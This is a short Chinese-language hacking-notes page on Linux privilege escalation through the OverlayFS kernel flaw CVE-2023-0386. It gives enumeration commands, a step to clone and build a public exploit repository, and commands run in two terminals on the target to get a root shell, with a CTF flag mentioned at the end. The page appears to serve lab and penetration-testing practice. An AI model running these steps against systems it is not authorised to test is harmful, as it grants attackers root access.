> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md). # 内核利用（OverlayFS）- Linux 权限提升内核利用（OverlayFS）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。 ## 这是什么内核提权针对 Linux 内核中的本地漏洞或发行版特定补丁。这些利用可能不稳定，因此在执行前进行版本验证和实验室测试很重要。此页面具体关注 **内核利用（OverlayFS）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。 ## 枚举在运行利用路径之前，先确认本地环境和具体的配置错误。 ```bash uname -a cat /etc/os-release lsb_release -a 2>/dev/null ``` ## 示例 ## CVE-2023-0386 OverlayFS 权限提升 > OverlayFS 允许叠加文件系统。在某些版本的 Linux 内核中，糟糕的能力管理使未授权用户能够以以下权限运行代码 **root 权限**. {% embed url="" %} **操作阶段** 1. **克隆该利用代码** 从我们的本地机器： ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **将编译好的** 文件传输到目标机器（`scp`, `python -m http.server`等等）。

2. **在目标机器上**，在以下环境中运行 **两个终端**: * 终端 A： ```bash ./fuse ./ovlcap/lower ./gc ``` * 终端 B： ```bash ./exp ``` 如果一切顺利，我们会获得一个 shell **root**

### root.txt 标志 :)

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